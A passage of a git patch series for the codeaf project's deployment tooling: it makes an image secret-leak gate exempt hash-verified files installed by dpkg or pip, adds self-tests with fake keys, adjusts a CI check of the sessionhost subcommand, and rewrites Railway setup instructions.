- -cf -) >"$work/context.tar" -tar -C "$work/plant" -rf "$work/context.tar" . +# A docker CLI that is a Windows program (Docker Desktop reached from WSL) wants Windows paths: it is detected from the client's +# own report, and DOCKER_WIN_PATHS=0 or 1 overrides the guess. +ctx_arg="$ctx" +dockerfile="$ctx/deploy/org/codeaf.Dockerfile" +win=${DOCKER_WIN_PATHS:-} +if [ -z "$win" ]; then + [ "$("${D[@]}" version --format '{{.Client.Os}}' 2>/dev/null | tr -d '\r')" = windows ] && win=1 || win=0 +fi +if [ "$win" = 1 ]; then ctx_arg="$(wslpath -w "$ctx")"; dockerfile="$(wslpath -w "$dockerfile")"; fi -"${D[@]}" build -f deploy/org/codeaf.Dockerfile --target context-probe -o type=tar,dest=- - <"$work/context.tar" >"$work/probe.tar" 2>"$work/build.log" || { +"${D[@]}" build -f "$dockerfile" --target context-probe -o type=tar,dest=- "$ctx_arg" >"$work/probe.tar" 2>"$work/build.log" || { echo "context check: the probe image did not build:" >&2 tail -n 15 "$work/build.log" >&2 exit 2 From 23a2c5ff085671359ad83a399869ad99c3230b76 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:33:36 -0500 Subject: [PATCH 079/176] deploy/org/gate: do not scan the files a package manager installed unmodified The first real image builds failed the gate on two files of the Debian base layer: libgnutls embeds test private keys (A2) and /etc/security/access.conf carries example addresses (C1). The gate now reads what dpkg (md5sums, and the Conffiles of its status database) and pip (each RECORD's sha256) recorded, hashes every file, and exempts only a file that still matches: an edited file, or one planted under a package's name, is scanned like any other. The exemption is by hash and not by place, the count of exempted files is printed, and trivy findings on them are dropped the same way. The self-test gains four cases (an unmodified library carrying a PEM block, an unmodified conffile with an address, a modified file that carries a key, an unmodified pip file) and the README says what is not scanned. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 10 +++- deploy/org/gate/image-gate.py | 109 ++++++++++++++++++++++++++++++++-- deploy/org/gate/selftest.sh | 32 ++++++++++ 3 files changed, 144 insertions(+), 7 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 9d9db88a85..6cebdd8bb2 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -341,9 +341,17 @@ the layer, the path, the rule, and the first four characters and length of the m | C1 | `railway.app`, `up.railway`, `railway.internal`, or credentials in a `localhost` URL anywhere, compiled programs included; any other `.internal` host name (except `metadata.google.internal` and Docker's own) and any `10.`, `192.168.` or `172.16`-`172.31.` address in the TEXT files our build added, outside the distribution's own trees (`/usr/lib`, `/usr/share`, `/bin`, `/usr/bin`, ...). Compiled programs come from public source, so an example address in an error message is not a leak; a range with a `/prefix` is not an address | | C2 | the image's revision label is not the commit that was built | +A file that dpkg or pip installed and that is still byte for byte what it installed is not content-scanned: dpkg records an md5 +for every file (and for configuration files, in its status database) and pip a sha256 in each `RECORD`, the gate hashes the file +and only a match exempts it, so an edited file, or one planted under a package's name, is scanned like any other. Those files +are the package's published content, and they are where a real base image gives false positives (a TLS library that embeds test +private keys, a PAM sample file with example addresses). The gate prints how many files it exempted; our own files are never +in those lists. + `gate/selftest.sh` proves the gate fails what it should: it builds throwaway images with fake keys, a key in a deleted layer, a secret `ENV`, label and build argument, and private hosts planted in them, requires each to fail the check meant to catch it, and -requires a clean image (with a network range, the metadata host and a documentation URL in it) to pass. `gate/context-check.sh` +requires a clean image (with a network range, the metadata host and a documentation URL in it) to pass, and an unmodified +package file to be exempt and a modified one not. `gate/context-check.sh` plants `.env` files, key files and a profile folder across a copy of the repository and requires that none enters the codeaf build context, which is deny-by-default (`codeaf.Dockerfile.dockerignore`; the other Dockerfiles share `.dockerignore`). Both run in CI before any image is built, beside `gate/pins-check.sh`, which fails a Dockerfile whose base image or syntax frontend has no diff --git a/deploy/org/gate/image-gate.py b/deploy/org/gate/image-gate.py index 855ff25db8..bba2224620 100755 --- a/deploy/org/gate/image-gate.py +++ b/deploy/org/gate/image-gate.py @@ -30,11 +30,24 @@ in one's error message is not a leak; a range written with a /prefix length is a network, not a host. The strong patterns also run over labels and the configuration. C2 with --expect-commit: the image's org.opencontainers.image.revision label is that commit. + + NOT SCANNED, AND SAID SO: a file that a package manager installed and that is still byte for byte what it installed. dpkg + records the md5 of every file of a package (`/var/lib/dpkg/info/*.md5sums`, and the `Conffiles` of `/var/lib/dpkg/status` + for configuration files) and pip records a sha256 (`*.dist-info/RECORD`). Such a file is the package's published content, + public by construction, and it is where the false positives are (libgnutls carries test private keys, a PAM sample file + carries example addresses). The file is hashed; only a match exempts it, so a file edited after the install, or planted + under a package's name, is scanned like any other. The count of exempted files is printed, and trivy findings on them + are dropped the same way. Our own files (the codeaf binary, scripts, configuration) are never in these lists. """ import argparse +import base64 +import csv import gzip +import hashlib +import io import json import os +import posixpath import re import shlex import subprocess @@ -179,6 +192,79 @@ def compile_all(table, flags=0): PRIVATE_IP_RE = re.compile(PRIVATE_IP.encode()) +def canon(path): + """A path as the package databases spell it, comparable with a layer's: no leading slash, and the usr-merge links + (/bin, /sbin, /lib, /lib64 -> /usr/...) folded in, because dpkg lists some files under one name and some under the other.""" + path = posixpath.normpath(path.lstrip("/")) + top = path.split("/", 1)[0] + if top in ("bin", "sbin", "lib", "lib32", "lib64", "libx32"): + return "usr/" + path + return path + + +RECORD_RE = re.compile(r"^(?P.*?)/?[^/]+\.dist-info/RECORD$") + + +def add_owned(owned, path, kind, digest): + owned.setdefault(canon(path), set()).add(f"{kind}:{digest}") + + +def parse_dpkg_status(owned, text): + """Conffiles: ` /etc/x ` lines in the continuation of a `Conffiles:` field.""" + in_conffiles = False + for line in text.splitlines(): + if line.startswith("Conffiles:"): + in_conffiles = True + elif in_conffiles and line.startswith((" ", "\t")): + parts = line.split() + if len(parts) >= 2 and parts[0].startswith("/") and re.fullmatch(r"[0-9a-f]{32}", parts[1]): + add_owned(owned, parts[0], "md5", parts[1]) + else: + in_conffiles = False + + +def collect_owned(tf, layers): + """Pass 1: the (path, hash) pairs the package managers recorded, from every layer (the lists are small).""" + owned = {} + for name in layers: + with layer_tar(tf, name) as lt: + for member in lt: + if not member.isreg() or member.size > 64 * 1024 * 1024: + continue + path = re.sub(r"^(?:\./)+", "", member.name).lstrip("/") + is_md5 = path.startswith("var/lib/dpkg/info/") and path.endswith(".md5sums") + is_status = path == "var/lib/dpkg/status" or path.startswith("var/lib/dpkg/status.d/") + record = RECORD_RE.match(path) if path.endswith("/RECORD") else None + if not (is_md5 or is_status or record): + continue + text = lt.extractfile(member).read().decode("utf-8", "replace") + if is_md5: + for line in text.splitlines(): + m = re.fullmatch(r"([0-9a-f]{32})\s+\*?(.+)", line.strip()) + if m: + add_owned(owned, m.group(2), "md5", m.group(1)) + elif is_status: + parse_dpkg_status(owned, text) + else: + root = record.group("root") + for row in csv.reader(io.StringIO(text)): + if len(row) >= 2 and row[1].startswith("sha256="): + add_owned(owned, posixpath.join(root, row[0]), "sha256", row[1][len("sha256="):].rstrip("=")) + return owned + + +def is_installed_unmodified(owned, path, data): + wanted = owned.get(canon(path)) + if not wanted: + return False + if any(w.startswith("md5:") for w in wanted) and "md5:" + hashlib.md5(data).hexdigest() in wanted: + return True + if any(w.startswith("sha256:") for w in wanted): + digest = base64.urlsafe_b64encode(hashlib.sha256(data).digest()).decode().rstrip("=") + return "sha256:" + digest in wanted + return False + + def scan_bytes(findings, where, data, under_system): for rule, rx in KEY_RES: for m in rx.finditer(data): @@ -202,8 +288,10 @@ def scan_bytes(findings, where, data, under_system): findings.add("C1", where, "private-address", m.group(0)) -def scan_layers(tf, layers, findings): +def scan_layers(tf, layers, findings, owned): + """Pass 2. Returns (files scanned, the paths exempted as installed unmodified by a package manager).""" files = 0 + exempt = set() for index, name in enumerate(layers, start=1): with layer_tar(tf, name) as lt: for member in lt: @@ -219,9 +307,12 @@ def scan_layers(tf, layers, findings): findings.add("A2", f"layer {index} /{path}", "file-too-large-to-scan", b"x" * 4) continue data = lt.extractfile(member).read() + if is_installed_unmodified(owned, path, data): + exempt.add(canon(path)) + continue files += 1 scan_bytes(findings, f"layer {index} /{path}", data, path.startswith(SYSTEM_PREFIXES)) - return files + return files, exempt def scan_text_for_shapes(findings, check, where, text): @@ -267,7 +358,7 @@ def check_history(findings, config): scan_text_for_shapes(findings, "B2", where, line) -def run_trivy(tar_path, findings, layer_count): +def run_trivy(tar_path, findings, layer_count, exempt=frozenset()): """A1. Returns (layers scanned, error). The scanner's JSON is read for rule, file and line only: its Match text is dropped. A scan that did not read every layer is an error, not a pass: a scanner that saw nothing says the same as one that saw nothing wrong.""" cfg = os.path.join(HERE, "trivy-secret.yaml") @@ -288,6 +379,8 @@ def run_trivy(tar_path, findings, layer_count): if scanned != layer_count: return None, "trivy read %d of the image's %d layers" % (scanned, layer_count) for result in report.get("Results") or []: + if canon(result.get("Target", "?")) in exempt: + continue for secret in result.get("Secrets") or []: where = "%s:%s" % (result.get("Target", "?"), secret.get("StartLine", "?")) findings.add("A1", where, "trivy:%s (%s)" % (secret.get("RuleID", "?"), secret.get("Severity", "?")), b"redacted") @@ -336,14 +429,15 @@ def main(): commit = (config.get("config") or {}).get("Labels", {}).get("org.opencontainers.image.revision", "") if args.expect_commit and commit != args.expect_commit: findings.add("C2", "label org.opencontainers.image.revision", "revision-label-is-not-the-built-commit", commit.encode() or b"empty") - nfiles = scan_layers(tf, layers, findings) + owned = collect_owned(tf, layers) + nfiles, exempt = scan_layers(tf, layers, findings, owned) - layers_scanned, err = run_trivy(tar_path, findings, len(layers)) + layers_scanned, err = run_trivy(tar_path, findings, len(layers), exempt) if err: errors.append("A1: " + err) except Exception as exc: # the gate could not run: not a pass errors.append("%s: %s" % (type(exc).__name__, exc)) - nfiles = 0 + nfiles, exempt = 0, set() finally: if tmp: tmp.cleanup() @@ -363,6 +457,8 @@ def main(): for line in findings.lines(check): print(" " + line) rows.append((check, title, status, n)) + note = "%d files scanned; %d more were installed by dpkg or pip and are unmodified, so they were not (see the header of image-gate.py)" % (nfiles, len(exempt)) + print(" " + note) for e in errors: print(" gate error: " + e) verdict = "FAIL" if findings.by_check else ("ERROR" if errors else "PASS") @@ -378,6 +474,7 @@ def main(): for check, _ in CHECKS: for line in findings.lines(check): fh.write("- %s %s\n" % (check, line)) + fh.write("- %s\n" % note) for e in errors: fh.write("- gate error: %s\n" % e) fh.write("\n") diff --git a/deploy/org/gate/selftest.sh b/deploy/org/gate/selftest.sh index 685a9e6bea..46281a1754 100755 --- a/deploy/org/gate/selftest.sh +++ b/deploy/org/gate/selftest.sh @@ -24,6 +24,8 @@ trap cleanup EXIT rand_alnum() { python3 -c 'import secrets,string,sys; print("".join(secrets.choice(string.ascii_letters+string.digits) for _ in range(int(sys.argv[1]))))' "$1"; } rand_hex() { python3 -c 'import secrets,sys; print(secrets.token_hex(int(sys.argv[1])))' "$1"; } +md5_of() { python3 -c 'import hashlib,sys; print(hashlib.md5(open(sys.argv[1],"rb").read()).hexdigest())' "$1"; } +sha256_b64_of() { python3 -c 'import base64,hashlib,sys; print(base64.urlsafe_b64encode(hashlib.sha256(open(sys.argv[1],"rb").read()).digest()).rstrip(b"=").decode())' "$1"; } rand_b64() { python3 -c 'import base64,secrets,sys; print(base64.b64encode(secrets.token_bytes(int(sys.argv[1]))).decode())' "$1"; } OPENROUTER_FAKE="sk-or-""v1-$(rand_hex 32)" @@ -126,6 +128,36 @@ ARG API_TOKEN RUN echo built EOF +# Files a package manager installed and that are still what it installed (the false positives of a real base image: a library +# that embeds test private keys, a PAM sample file with example addresses) are not scanned; a file that differs from what the +# package recorded is. The exemption is by recorded hash, not by place: these live under /opt and /etc, not under a system tree. +new_case owned-dpkg-unmodified +{ printf '\177ELF\000\000'; printf '%s\n' "$PEM_FAKE"; } >"$WORK/owned-dpkg-unmodified/ctx/lib.so" +printf '%s opt/vendor/lib.so\n' "$(md5_of "$WORK/owned-dpkg-unmodified/ctx/lib.so")" >"$WORK/owned-dpkg-unmodified/ctx/vendor.md5sums" +build_and_gate owned-dpkg-unmodified 0 - <<'EOF' +COPY ctx/lib.so /opt/vendor/lib.so +COPY ctx/vendor.md5sums /var/lib/dpkg/info/vendor.md5sums +EOF +new_case owned-dpkg-conffile; printf '%s\n' '- : ALL : 192.168.1.1' >"$WORK/owned-dpkg-conffile/ctx/access.conf" +printf 'Package: vendor\nStatus: install ok installed\nConffiles:\n /etc/vendor/access.conf %s\nDescription: x\n' "$(md5_of "$WORK/owned-dpkg-conffile/ctx/access.conf")" >"$WORK/owned-dpkg-conffile/ctx/status" +build_and_gate owned-dpkg-conffile 0 - <<'EOF' +COPY ctx/access.conf /etc/vendor/access.conf +COPY ctx/status /var/lib/dpkg/status +EOF +new_case owned-dpkg-modified; printf 'original content\n' >"$WORK/owned-dpkg-modified/ctx/original" +printf '%s opt/vendor/config.json\n' "$(md5_of "$WORK/owned-dpkg-modified/ctx/original")" >"$WORK/owned-dpkg-modified/ctx/vendor.md5sums" +printf '{"openrouter":"%s"}\n' "$OPENROUTER_FAKE" >"$WORK/owned-dpkg-modified/ctx/config.json" +build_and_gate owned-dpkg-modified 1 A2 <<'EOF' +COPY ctx/config.json /opt/vendor/config.json +COPY ctx/vendor.md5sums /var/lib/dpkg/info/vendor.md5sums +EOF +new_case owned-pip-unmodified; printf '%s\n' "$PEM_FAKE" >"$WORK/owned-pip-unmodified/ctx/data.pem" +printf 'pkg/data.pem,sha256=%s,%s\n' "$(sha256_b64_of "$WORK/owned-pip-unmodified/ctx/data.pem")" "$(wc -c <"$WORK/owned-pip-unmodified/ctx/data.pem")" >"$WORK/owned-pip-unmodified/ctx/RECORD" +build_and_gate owned-pip-unmodified 0 - <<'EOF' +COPY ctx/data.pem /usr/local/lib/python3.12/site-packages/pkg/data.pem +COPY ctx/RECORD /usr/local/lib/python3.12/site-packages/pkg-1.0.dist-info/RECORD +EOF + # Private hostnames and addresses in files we put there (C1). new_case host-railway; printf 'upstream=%s\nprivate=%s\n' "$RAILWAY_FAKE" "$RAILWAY_PRIVATE_FAKE" >"$WORK/host-railway/ctx/endpoints" build_and_gate host-railway 1 C1 <<'EOF' From 20d63b61e5a18377bc84cd78749f5c1788b3a183 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:33:36 -0500 Subject: [PATCH 080/176] ci: check the sessionhost subcommand by the refusal it prints, not by --help `codeaf sessionhost --help` validates its environment first and exits 1 without CODEAF_SESSIONHOST_SECRET, which failed the codeaf legs after a good build (version named the commit). The step now requires the refusal that names that variable, which an unknown subcommand would not print, and still starts no server. Co-Authored-By: Claude Sonnet 5.5 --- .github/workflows/org-images.yml | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/.github/workflows/org-images.yml b/.github/workflows/org-images.yml index a690e67cfc..7de8c6e449 100644 --- a/.github/workflows/org-images.yml +++ b/.github/workflows/org-images.yml @@ -184,7 +184,11 @@ jobs: out="$(docker run --rm --entrypoint codeaf "${LOCAL_IMAGE}" version)" echo "${out}" case "${out}" in *"${GITHUB_SHA::10}"*) ;; *) echo "codeaf version does not name ${GITHUB_SHA::10}" >&2; exit 1 ;; esac - docker run --rm --entrypoint codeaf "${LOCAL_IMAGE}" sessionhost --help > /dev/null + # The sessionhost refuses to start without its shared secret, and says which variable: that line proves the + # subcommand is in this binary (an unknown subcommand prints something else) without starting a server. + refusal="$(docker run --rm --entrypoint codeaf "${LOCAL_IMAGE}" sessionhost 2>&1 || true)" + echo "${refusal}" + case "${refusal}" in *CODEAF_SESSIONHOST_SECRET*) ;; *) echo "codeaf sessionhost did not ask for its secret" >&2; exit 1 ;; esac # THE LEAK GATE. A finding fails the job here, before any login. What it checks is written at the top of # deploy/org/gate/image-gate.py and in deploy/org/README.md "Published images". From c0345e2396cadbae7b38dc31ce19d8eb3eabd9b5 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 10:39:39 -0500 Subject: [PATCH 081/176] ci: ask the sessionhost to serve, so it names the secret it is missing A bare `codeaf sessionhost` says "Choose serve, probe or health." before it reads its environment; `sessionhost serve` loads the configuration first and refuses without CODEAF_SESSIONHOST_SECRET, naming it, and never listens. Co-Authored-By: Claude Sonnet 5.5 --- .github/workflows/org-images.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/org-images.yml b/.github/workflows/org-images.yml index 7de8c6e449..96e74ee6fb 100644 --- a/.github/workflows/org-images.yml +++ b/.github/workflows/org-images.yml @@ -186,7 +186,7 @@ jobs: case "${out}" in *"${GITHUB_SHA::10}"*) ;; *) echo "codeaf version does not name ${GITHUB_SHA::10}" >&2; exit 1 ;; esac # The sessionhost refuses to start without its shared secret, and says which variable: that line proves the # subcommand is in this binary (an unknown subcommand prints something else) without starting a server. - refusal="$(docker run --rm --entrypoint codeaf "${LOCAL_IMAGE}" sessionhost 2>&1 || true)" + refusal="$(docker run --rm --entrypoint codeaf "${LOCAL_IMAGE}" sessionhost serve 2>&1 || true)" echo "${refusal}" case "${refusal}" in *CODEAF_SESSIONHOST_SECRET*) ;; *) echo "codeaf sessionhost did not ask for its secret" >&2; exit 1 ;; esac From 50d2b13fd0cbcf67e8dfa8a306b5383db64b643b Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 12:51:19 -0500 Subject: [PATCH 082/176] deploy/org: a Railway source build stamps its commit without a SOURCE_COMMIT variable A fresh Railway install of the source build set SOURCE_COMMIT to a reference to RAILWAY_GIT_COMMIT_SHA; the build received it empty and `codeaf version` said "no revision stamped". Read RAILWAY_GIT_COMMIT_SHA in the Dockerfile itself, then SOURCE_COMMIT (what CI passes), then "unknown". Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/codeaf.Dockerfile | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/deploy/org/codeaf.Dockerfile b/deploy/org/codeaf.Dockerfile index d0c7e01f93..f1e6e3d213 100644 --- a/deploy/org/codeaf.Dockerfile +++ b/deploy/org/codeaf.Dockerfile @@ -65,6 +65,9 @@ COPY ${ORG_DIR}/codeaf-local /out/codeaf # stamped into `codeaf version`, and the image's revision label names the same commit. FROM ${GO_IMAGE} AS source ARG SOURCE_COMMIT=unknown +# Railway names the commit it builds RAILWAY_GIT_COMMIT_SHA and hands it to a Dockerfile build that declares it, +# so a service built there needs no SOURCE_COMMIT variable (one set to a Railway reference came through empty). +ARG RAILWAY_GIT_COMMIT_SHA= ENV CGO_ENABLED=0 GOFLAGS=-buildvcs=false WORKDIR /src COPY go.mod go.sum ./ @@ -72,7 +75,8 @@ COPY third_party/raft/ ./third_party/raft/ RUN go mod download COPY . . # BUILD_REV and BUILD_DIRTY are given because there is no .git here to ask; make then never runs git. -RUN make build BUILD_REV="$(printf '%.10s' "${SOURCE_COMMIT}")" BUILD_DIRTY=false \ +RUN rev="${RAILWAY_GIT_COMMIT_SHA:-${SOURCE_COMMIT:-unknown}}" \ + && make build BUILD_REV="$(printf '%.10s' "$rev")" BUILD_DIRTY=false \ && mkdir -p /out && cp bin/codeaf /out/codeaf && /out/codeaf version # What the build context holds, for the check that no secret can enter it: build this target with From 616b726d3eedafe750781aef5779e386f478f9e1 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 13:10:10 -0500 Subject: [PATCH 083/176] deploy/org: the README's Railway section follows a fresh install, sessionhost included A clean install on Railway (new project, every service built from the repository, the keyless stub) needed things the README did not say: the codeaf, runner and sessionhost services must build from the repository root with CODEAF_BINARY_FROM=source and ORG_DIR=deploy/org (the old table built them from deploy/org, which fetches a release without the sessionhost); the sessionhost's own variables and the hosted wiring on codeaf; the public domain before codeaf's first deploy; volume sizes; pinning a commit; how to look inside a service and what to check. The Compose step that told people to build from a laptop-built binary now points at the published image or the source build. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 98 +++++++++++++++------- docs/changes/unreleased/2899-org-images.md | 1 + 2 files changed, 67 insertions(+), 32 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 6cebdd8bb2..2e519ec68f 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -225,9 +225,12 @@ organization's. Each of those is a next step, not a hidden property. `./setup.sh` also writes `CODEAF_SERVER_KEY`, which seals people's own keys: keep a copy. `CODEAF_HOSTED_MODEL_URL` is the address chats use to reach the organization server's model door (`http://codeaf:8787/v1/model` by default). -3. `docker compose up -d`. The image must hold a codeaf that has `codeaf sessionhost`; until a release does, build - from a local binary: `cp ../../bin/codeaf codeaf-local` then `CODEAF_BINARY_FROM=local docker compose build codeaf sessionhost`. - (`codeaf-local` is ignored by git; `CODEAF_BINARY_FROM` defaults to `fetch`, the pinned release.) +3. `docker compose up -d`. The image must hold a codeaf that has `codeaf sessionhost`, and the pinned release (what a plain + `--build` fetches) does not until one ships it. Use the published image (`--env-file images.env`, see "Published images"), or + build the codeaf image from this repository's source (the `docker build` under "Published images", run from the repository root, + which tags `codeaf-org/codeaf:local`) and start with `docker compose up -d --no-build`. `codeaf`, `runner` and `sessionhost` all + run that one image. Do not build from a binary of your own machine: the image should be this commit's source, which is what `codeaf version` + inside it reports. The sessionhost sits on a network of its own, shared only with `codeaf`, so a chat's commands cannot reach AgentField, the nodes, the runner or the model stub. On a platform with no such network (Railway), the port limit above @@ -246,13 +249,10 @@ access in any chat folder, process environment or argument list, a chat's access server restarts and ends the moment the chat is stopped, and the first attach after a restart of the chats' machine needs no retry. It prints PASS or FAIL per check. A live check against a real provider is the one step it does not do. -On Railway the sessionhost is a sixth service from the same image: `CODEAF_ROLE=sessionhost`, a volume at -`/chats`, no public domain, `CODEAF_SESSIONHOST_SECRET=${{codeaf.CODEAF_HOSTED_SECRET}}`, and on `codeaf` -`CODEAF_HOSTED_URL=http://${{sessionhost.RAILWAY_PRIVATE_DOMAIN}}:8790` and -`CODEAF_HOSTED_MODEL_URL=http://${{codeaf.RAILWAY_PRIVATE_DOMAIN}}:8787/v1/model`. Railway runs services as root with -a fixed capability set; the sessionhost takes five from it, and `codeaf sessionhost probe` run in that service -says whether the fence works there (it has Landlock but not the namespace fence, so the mode there is the -user switch plus Landlock). +On Railway the sessionhost is a service of its own from the same Dockerfile; its variables are in the table under "Railway", and +`codeaf sessionhost probe`, run in that service, says whether the fence works there. Railway gives root eleven capabilities, the +sessionhost takes five of them, and the kernel has Landlock but not the namespace fence, so the mode there is the user switch plus +Landlock (`"mode": "uid+fence"`, `"fence_mode": "landlock"`). ## State, backups and upgrades @@ -360,31 +360,65 @@ tag and digest together. ## Railway -The same Dockerfiles run on Railway as one project: five services, a volume on each, private networking -between them, and a public domain on `codeaf` only. Nothing needs Compose there; each service builds its own -Dockerfile from this folder. (A Railway template needs images, not a repository: `railway/make-template.sh` makes a draft one -from the published images above, and the table below is the same configuration by hand. The POC that proved the Dockerfile route -ran the keyless smoke test on itself.) - -Create an empty project, then one service per row. For the four built services choose **GitHub repo**, set -**Root Directory** to `deploy/org`, and set the variable `RAILWAY_DOCKERFILE_PATH` (or the service's -**Dockerfile Path**) to the Dockerfile in the row. Add a volume at the mount path in the row. Reference variables -(`${{agentfield.RAILWAY_PRIVATE_DOMAIN}}`) are Railway's way of naming another service; keep them as written. - -| Service | Dockerfile | Volume | Variables | -| --- | --- | --- | --- | -| `agentfield` | `agentfield.Dockerfile` | `/data` | `AGENTFIELD_API_KEY=${{secret(64, "abcdef0123456789")}}`, `AGENTFIELD_HOME=/data`, `AGENTFIELD_CONFIG_FILE=/dev/null`, `AGENTFIELD_PORT=8080`, `PORT=8080`, `AGENTFIELD_STORAGE_MODE=local`, `AGENTFIELD_STORAGE_LOCAL_DATABASE_PATH=/data/agentfield.db`, `AGENTFIELD_STORAGE_LOCAL_KV_STORE_PATH=/data/agentfield.bolt`, `AGENTFIELD_RUN_OWNER_REQUIRE_PROOF=true`, `AGENTFIELD_TELEMETRY_ENABLED=false`. Health check path `/api/v1/health`. | -| `codeaf` | `codeaf.Dockerfile` | `/data` | `CODEAF_ROLE=server`, `PORT=8787`, `CODEAF_ORG_NAME=...`, `CODEAF_PUBLIC_DOMAIN=${{RAILWAY_PUBLIC_DOMAIN}}`, `CODEAF_TRUSTED_PROXIES=100.64.0.0/10`. Generate a public domain for this service only, target port 8787. | -| `runner` | `codeaf.Dockerfile` | `/data` | `CODEAF_ROLE=runner`, `AGENTFIELD_URL=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `ORG_MODEL=...`, `OPENROUTER_API_KEY=...`. | -| `swe-af` | `swe-af.Dockerfile` | `/workspaces` | `NODE_ID=swe-planner`, `AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `SWE_HITL_NATIVE=1`, `SWE_FENCE=off`, `SWE_PRO_ENGINE=0`, `SWE_DEFAULT_MODEL=openrouter/...`, `OPENROUTER_API_KEY=...`. | -| `pr-af` | `pr-af.Dockerfile` | `/workspaces` | `NODE_ID=pr-af`, `PORT=8007`, `AGENTFIELD_SERVER=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `AGENT_CALLBACK_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8007`, `PR_AF_MODEL=...`, `OPENROUTER_API_KEY=...`. | -| `modelstub` (keyless only) | `modelstub.Dockerfile` | none | `STUB_DELAY=2s`; then on `runner`, `swe-af` and `pr-af` set `CODEAF_BASE_URL=http://${{modelstub.RAILWAY_PRIVATE_DOMAIN}}:8890/api/v1`, `OPENROUTER_API_KEY=stub-key`, and the model variables to `stub/scripted` (SWE-AF: `openrouter/stub/scripted`); on `swe-af` also `SMOKE_FIXTURE_REPO=/workspaces/smoke-fixture`. | +The same Dockerfiles run on Railway as one project: seven services, a volume on each but the model stub, private networking +between them, and a public domain on `codeaf` only. Nothing needs Compose there; each service builds from this repository, on +Railway's builders. (A Railway template needs images, not a repository: `railway/make-template.sh` makes a draft one from the +published images above, without the sessionhost yet. The table below is the configuration by hand. It was followed from an empty +project, with the keyless stub, and every service came up healthy: see "Check it" below.) + +Create an empty project in the workspace that should own it, then one service per row. For each one choose **GitHub repo** +(`Agent-Field/codeaf`, a public repository; the branch you want, or one pinned commit), set the **Root Directory** and the +**Dockerfile Path** (or the variable `RAILWAY_DOCKERFILE_PATH`) in the row, and add a volume at the mount path in the row, with a +size you choose (Railway's default is large, 50 GB on the plan this was tried on: 1 GB is plenty for `codeaf`, `agentfield` and +`sessionhost`, 512 MB for `runner` and `pr-af`). Reference variables (`${{agentfield.RAILWAY_PRIVATE_DOMAIN}}`) are Railway's way of naming another service; +keep them as written, and create every service before you set a variable that names another. + +| Service | Root Directory | Dockerfile Path | Volume | Variables | +| --- | --- | --- | --- | --- | +| `agentfield` | `/deploy/org` | `agentfield.Dockerfile` | `/data` | `AGENTFIELD_API_KEY=${{secret(64, "abcdef0123456789")}}`, `AGENTFIELD_HOME=/data`, `AGENTFIELD_CONFIG_FILE=/dev/null`, `AGENTFIELD_PORT=8080`, `PORT=8080`, `AGENTFIELD_STORAGE_MODE=local`, `AGENTFIELD_STORAGE_LOCAL_DATABASE_PATH=/data/agentfield.db`, `AGENTFIELD_STORAGE_LOCAL_KV_STORE_PATH=/data/agentfield.bolt`, `AGENTFIELD_RUN_OWNER_REQUIRE_PROOF=true`, `AGENTFIELD_TELEMETRY_ENABLED=false`. Health check path `/api/v1/health`. | +| `codeaf` | `/` (the repository root) | `deploy/org/codeaf.Dockerfile` | `/data` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=server`, `PORT=8787`, `CODEAF_ORG_NAME=...`, `CODEAF_PUBLIC_DOMAIN=${{RAILWAY_PUBLIC_DOMAIN}}`, `CODEAF_TRUSTED_PROXIES=100.64.0.0/10`, `CODEAF_SERVER_KEY=${{secret(64, "abcdef0123456789")}}`. Hosted chats: `CODEAF_HOSTED_SECRET=${{secret(64, "abcdef0123456789")}}`, `CODEAF_HOSTED_URL=http://${{sessionhost.RAILWAY_PRIVATE_DOMAIN}}:8790`, `CODEAF_HOSTED_MODEL_URL=http://${{RAILWAY_PRIVATE_DOMAIN}}:8787/v1/model`. Models: `OPENROUTER_API_KEY=...` (the model door uses it unless you set `CODEAF_HOSTED_MODEL_UPSTREAM` and `CODEAF_HOSTED_MODEL_KEY`). Generate a public domain for this service only, target port 8787, **before its first deploy**. | +| `runner` | `/` | `deploy/org/codeaf.Dockerfile` | `/data` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=runner`, `AGENTFIELD_URL=http://${{agentfield.RAILWAY_PRIVATE_DOMAIN}}:8080`, `AGENTFIELD_API_KEY=${{agentfield.AGENTFIELD_API_KEY}}`, `ORG_MODEL=...`, `OPENROUTER_API_KEY=...`. | +| `sessionhost` | `/` | `deploy/org/codeaf.Dockerfile` | `/chats` | `CODEAF_BINARY_FROM=source`, `ORG_DIR=deploy/org`, `CODEAF_ROLE=sessionhost`, `CODEAF_SESSIONHOST_SECRET=${{codeaf.CODEAF_HOSTED_SECRET}}`, `CODEAF_SESSIONHOST_DATA=/chats`, `CODEAF_SESSIONHOST_MODEL=...` (the model chats use), and the limits you want (`CODEAF_SESSIONHOST_MAX_RUNNING`, `CODEAF_SESSIONHOST_MAX_PER_PERSON`). No public domain. Give it resource limits (1 vCPU and 1 GB is plenty for a few chats). | +| `swe-af` | `/deploy/org` | `swe-af.Dockerfile` | `/workspaces` | `NODE_ID=swe-planner`, 